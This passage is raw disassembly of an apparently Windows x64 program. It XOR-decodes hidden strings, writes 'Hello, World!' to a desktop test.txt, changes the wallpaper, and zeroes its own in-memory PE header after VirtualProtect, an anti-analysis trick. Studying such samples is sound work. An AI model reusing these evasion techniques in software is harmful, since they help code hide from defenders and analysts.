pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x1400517d0
cmp edi, 0x24
jge 0x14005190d
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x1400518e0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051923
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003d220
nop
lea r9, [rbp - 0x60]
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x128]
call fcn.14003ad00
mov rdi, rax
lea rax, [rbp + 0x2e8]
cmp rax, rdi
je 0x1400519c6
mov rdx, qword [rbp + 0x300]
cmp rdx, 0x10
jb 0x1400519a2
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005199d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052def
call fcn.1400735b8
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x2e8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x2f8], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140051a07
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051a02
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052def
call fcn.1400735b8
lea rdx, [rbp + 0x2e8]
mov r8, qword [rbp + 0x2f8]
lea rcx, [rbp + 0x2a8]
cmp qword [rbp + 0x300], 0x10
jb 0x140051a2d
mov rdx, qword [rbp + 0x2e8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051a60
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051aa3
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051ae6
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140051b30
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
mov byte [rbp + 0x208], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x308], xmm0
mov qword [rbp + 0x318], r13
mov qword [rbp + 0x320], r13
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051b76
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x308]
call fcn.14003d220
nop
lea rax, [rbp - 0x60]
mov qword [rbp], rax
lea rax, [rbp + 0x70]
mov qword [rbp + 0x38], rax
movsd xmm0, qword [0x1400c2588]
movsd qword [rbp + 0xc8], xmm0
mov eax, dword [0x1400c2590]
mov dword [rbp + 0xd0], eax
mov edi, r13d
cmp r14d, 2
jl 0x140051ce6
movdqa xmm4, xmmword [0x1400c3510]
mov eax, 4
movd xmm6, eax
mov eax, 0x1f
movd xmm5, eax
movdqa xmm2, xmmword [0x1400c3430]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
mov eax, dword [0x1400c34f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400c2588]
pxor xmm2, xmm0
movd dword [rbp + 0xc8], xmm2
movdqa xmm3, xmmword [0x1400c3440]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400c3460]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
pxor xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
mov edi, 8
movsxd rax, edi
lea r8, [rbp + 0xc8]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0xc
jl 0x140051d00
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], r13
lea rax, [rbp + 0xc8]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051d46
lea rdx, [rbp + 0xc8]
lea rcx, [rbp - 0x60]
call fcn.14003d220
nop
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x70]
call fcn.14003c360
mov rsi, rax
movups xmm0, xmmword [str.DRU_CKLZ_26_4____8_5__7:9_yYAZY9DRU_CSSJP0A]
movups xmmword [rbp + 0x10], xmm0
movups xmm1, xmmword [0x1400c2570]
movups xmmword [rbp + 0x20], xmm1
mov ecx, dword [0x1400c2580]
mov dword [rbp + 0x30], ecx
mov edi, r13d
cmp r14d, 2
mov r14d, 4
jl 0x140051ee3
movdqa xmm5, xmmword [0x1400c3430]
movdqa xmm4, xmmword [0x1400c3510]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1400c3460]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x1400c34f0]
movdqa xmmword [rbp + 0x50], xmm0
lea rcx, [rbp + 0x10]
mov edx, dword [rbp + 0x50]
movd xmm2, edi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400c34d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm2, xmm0
movd dword [rcx + 4], xmm2
add edi, 8
lea rcx, [rcx + 8]
cmp edi, 0x20
jl 0x140051de1
cmp edi, 0x24
jge 0x140051f1d
movsxd rax, edi
lea r8, [rbp + 0x10]
add r8, rax
nop dword [rax]
mov eax, 0x51eb851f
imul edi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, dil
sub al, cl
add al, 0x36
xor byte [r8], al
inc edi
lea r8, [r8 + 1]
cmp edi, 0x24
jl 0x140051ef0
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
lea rax, [rbp + 0x10]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140051f33
lea rdx, [rbp + 0x10]
lea rcx, [rbp - 0x20]
call fcn.14003d220
nop
lea r9, [rbp - 0x60]
mov r8, rsi
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x128]
call fcn.14003ad00
mov rdi, rax
lea rax, [rbp + 0x308]
cmp rax, rdi
je 0x140051fd6
mov rdx, qword [rbp + 0x320]
cmp rdx, 0x10
jb 0x140051fb2
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140051fad
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052df5
call fcn.1400735b8
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x308], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x318], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x10
jb 0x140052017
inc rdx
mov rcx, qword [rbp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052012
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052df5
call fcn.1400735b8
lea rdx, [rbp + 0x308]
cmp qword [rbp + 0x320], 0x10
cmovae rdx, qword [rbp + 0x308]
mov r8, qword [rbp + 0x318]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
movzx eax, word [0x1400c23e4]
mov word [rbp + 0x208], ax
cmp byte [0x1400c23e5], 0
je 0x140052066
mov byte [rbp + 0x208], 0xa
xor byte [rbp + 0x209], 0x37
lea rax, [rbp + 0x208]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x140052070
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 0x2a8]
call fcn.14003ce10
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdi, rax
mov rcx, r14
call fcn.14007325c
mov dword [rax], r13d
mov r9, rax
mov r8d, r14d
mov edx, 0x1000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov ecx, 0x1000
rep stosb byte [rdi], al
mov esi, r13d
mov rcx, qword [rbp + 0x278]
sub rcx, qword [rbp + 0x270]
movabs r14, 0x2aaaaaaaaaaaaaab
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x14005216e
lea rdi, [rbp + 0x5d0]
nop dword [rax + rax]
cmp dword [rdi + 8], 0
je 0x140052e17
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [rdi + 8], eax
je 0x140052e0c
movups xmm0, xmmword [rdi]
movaps xmmword [rbp + 0x100], xmm0
xor edx, edx
lea rcx, [rbp + 0x100]
call fcn.14006fb5c
test eax, eax
jne 0x140052e01
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
inc esi
add rdi, 0x10
mov rcx, qword [rbp + 0x278]
sub rcx, qword [rbp + 0x270]
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
movsxd rax, esi
cmp rax, rdx
jb 0x140052100
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
mov r8d, 0xd
lea rdx, str.Hello__World_
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
mov r8d, 8
lea rdx, str.test.txt
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea rdx, [rbp + 0x210]
lea rcx, [rsp + 0x40]
call fcn.14004b270
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140052219
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052214
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052dfb
call fcn.1400735b8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14005226d
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052268
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e22
call fcn.1400735b8
movsd xmm0, qword [str.js_JQOSMb_]
movsd qword [rsp + 0x70], xmm0
movzx eax, word [0x1400c25d0]
mov word [rsp + 0x78], ax
mov byte [rsp + 0x70], 0x5c
xor byte [rsp + 0x71], 0x37
xor byte [rsp + 0x72], 0x38
xor byte [rsp + 0x73], 0x39
xor byte [rsp + 0x74], 0x3a
xor byte [rsp + 0x75], 0x3b
xor byte [rsp + 0x76], 0x3c
xor byte [rsp + 0x77], 0x3d
xor al, 0x3e
mov byte [rsp + 0x78], al
xor byte [rsp + 0x79], 0x3f
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r13
mov qword [rbp - 0x28], r13
lea rax, [rsp + 0x70]
mov r8, rbx
inc r8
cmp byte [rax + r8], 0
jne 0x1400522d1
lea rdx, [rsp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.14003d220
nop
lea rcx, [rbp - 0x60]
call fcn.14004d010
mov rdi, rax
movsd xmm0, qword [str.u_rdlINNb_]
movsd qword [rsp + 0x60], xmm0
movzx ecx, word [0x1400c26b0]
mov word [rsp + 0x68], cx
cmp byte [0x1400c26b1], 0
je 0x14005234b
mov byte [rsp + 0x60], 0x43
xor byte [rsp + 0x61], 0x37
xor byte [rsp + 0x62], 0x38
xor byte [rsp + 0x63], 0x39
xor byte [rsp + 0x64], 0x3a
xor byte [rsp + 0x65], 0x3b
xor byte [rsp + 0x66], 0x3c
xor byte [rsp + 0x67], 0x3d
xor byte [rsp + 0x68], 0x3e
xor byte [rsp + 0x69], 0x3f
xorps xmm0, xmm0
movups xmmword [rbp + 0x210], xmm0
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], r13
lea rax, [rsp + 0x60]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140052370
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x210]
call fcn.14003d220
nop
mov r9, rdi
lea r8, [rbp + 0x210]
movzx edx, byte [rbp + 0x208]
lea rcx, [rbp - 0x20]
call fcn.14003ee00
nop
lea r9, [rbp - 0x40]
lea r8, [rbp - 0x20]
movzx edx, byte [rbp + 0x208]
lea rcx, [rsp + 0x40]
call fcn.14003ee00
nop
lea rdx, [rsp + 0x40]
call fcn.14004ab60
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x140052409
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052404
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e28
call fcn.1400735b8
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x140052458
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052452
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e2e
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x14005249a
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052494
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e34
call fcn.1400735b8
nop
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x1400524d5
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400524d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e3a
call fcn.1400735b8
mov qword [rbp - 0x50], r13
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x140052520
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005251b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e40
call fcn.1400735b8
cmp dword [rbp + 0x148], 0
jle 0x1400525a5
mov rdx, qword [rbp + 0x150]
mov rdx, qword [rdx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x58], r13
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140052545
mov r8, rbx
lea rcx, [rsp + 0x40]
call fcn.14003d220
nop
lea rcx, [rsp + 0x40]
call fcn.14003e7d0
nop
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x1400525a5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005259f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e46
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x320]
cmp rdx, 0x10
jb 0x1400525e7
inc rdx
mov rcx, qword [rbp + 0x308]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400525e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e4c
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x300]
cmp rdx, 0x10
jb 0x140052629
inc rdx
mov rcx, qword [rbp + 0x2e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052623
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e52
call fcn.1400735b8
nop
mov rdx, qword [rbp + 0x268]
cmp rdx, 0x10
jb 0x14005266a
inc rdx
mov rcx, qword [rbp + 0x250]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052665
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e58
call fcn.1400735b8
mov qword [rbp + 0x260], r13
mov qword [rbp + 0x268], 0xf
mov byte [rbp + 0x250], 0
mov rdx, qword [rbp + 0x248]
cmp rdx, 0x10
jb 0x1400526c4
inc rdx
mov rcx, qword [rbp + 0x230]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400526bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e5e
call fcn.1400735b8
mov qword [rbp + 0x240], r13
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], 0
mov rdx, qword [rbp + 0x2c0]
cmp rdx, 0x10
jb 0x14005271e
inc rdx
mov rcx, qword [rbp + 0x2a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052719
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052e64
call fcn.1400735b8
mov qword [rbp + 0x2b8], r13
mov qword [rbp + 0x2c0], 0xf
mov byte [rbp + 0x2a8], 0
mov rdx, qword [rbp + 0x358]
cmp rdx, 0x10
jb 0x140052778
inc rdx
mov rcx, qword [rbp + 0x340]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052773
mov qword [rbp + 0x350], r13
mov qword [rbp + 0x358], 0xf
mov byte [rbp + 0x340], 0
mov rdx, qword [rbp + 0x378]
cmp rdx, 0x10
jb 0x1400527d2
lea rdx, str.Unable_to_create_the_file_on_the_desktop.
lea rcx, [0x1400d9460]
call fcn.14004b7a0
mov rcx, rax
call fcn.14004ba50
nop
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x3b0], r15
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3ac], edx
lea rcx, [rbp + 0x3b8]
call fcn.140046130
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x3b0], rax
mov rax, qword [rbp + 0x3b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3ac], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x458], rax
lea rcx, [rbp + 0x458]
call fcn.14007077c
nop
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x140052ac2
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052abd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052ea5
call fcn.1400735b8
mov qword [rbp + 0x220], r13
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], 0
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0x10
jb 0x140052b1c
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052b17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052eab
call fcn.1400735b8
mov qword [rbp + 0x298], r13
mov qword [rbp + 0x2a0], 0xf
mov byte [rbp + 0x288], 0
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
jb 0x140052c60
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052c2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052caa
jmp 0x140052c2c
lea rdx, str.Failed_to_determine_desktop_path.
lea rcx, [0x1400d9460]
call fcn.14004b7a0
mov rcx, rax
call fcn.14004ba50
nop
mov rdx, qword [rbp + 0x2a0]
cmp rdx, 0x10
jb 0x140052bdb
inc rdx
mov rcx, qword [rbp + 0x288]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052bd6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052eb1
call fcn.1400735b8
mov qword [rbp + 0x298], r13
mov qword [rbp + 0x2a0], 0xf
mov byte [rbp + 0x288], 0
mov rdx, qword [rbp + 0x2e0]
cmp rdx, 0x10
jb 0x140052c60
inc rdx
mov rcx, qword [rbp + 0x2c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140052c2c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140052ca4
call fcn.1400735b8
jmp 0x140052c60
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
lea rdx, str.Failed_to_change_wallpaper._Error_code:
lea rcx, [0x1400d9580]
call fcn.140054e80
mov rcx, rax
mov edx, edi
call fcn.140052ec0
mov rcx, rax
call fcn.140055140
mov eax, 1
mov rcx, qword [rbp + 0xbc0]
xor rcx, rsp
call fcn.140072f90
lea r11, [rsp + 0xd00]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140082444
int3
call fcn.140082444
int3
xor ecx, ecx
call fcn.140089124
nop
call fcn.140038970
nop
test al, 4
je 0x140052ccb
lea rdi, str.ios_base::badbit_set
jmp 0x140052cdf
test al, 2
lea rdi, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdi, rax
mov edx, 1
lea rcx, [rbp + 0x100]
call fcn.14003f0a0
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.14003f9f0
lea rdx, [0x1400d2b20]
lea rcx, [rbp + 0x10]
call fcn.14007567c
nop
call fcn.140082444
int3
call fcn.140082444
int3
test sil, 4
je 0x140052d2b
lea rdi, str.ios_base::badbit_set
jmp 0x140052d40
test al, sil
lea rdi, str.ios_base::failbit_set
lea rax, str.ios_base::eofbit_set
cmove rdi, rax
mov edx, 1
lea rcx, [rbp + 0x100]
call fcn.14003f0a0
mov r8, rax
mov rdx, rdi
lea rcx, [rbp + 0x10]
call fcn.14003f9f0
lea rdx, [0x1400d2b20]
lea rcx, [rbp + 0x10]
call fcn.14007567c
int3
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.1400836a0
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
int3
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
int3
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
mov ecx, 2
call fcn.14006fe30
int3
mov ecx, 5
call fcn.14006fe30
int3
mov ecx, 1
call fcn.14006fe30
int3
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
int3
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.140082444
nop
call fcn.1400836a0
nop
call fcn.140082444
nop
call fcn.140082444
nop
mov dword [rbp + 0x388], r13d
mov ecx, esi
call fcn.14006fe30
nop
xor ecx, ecx
call fcn.140089124
int3
call fcn.140082444
nop
call fcn.140082444
int3
call fcn.140082444
int3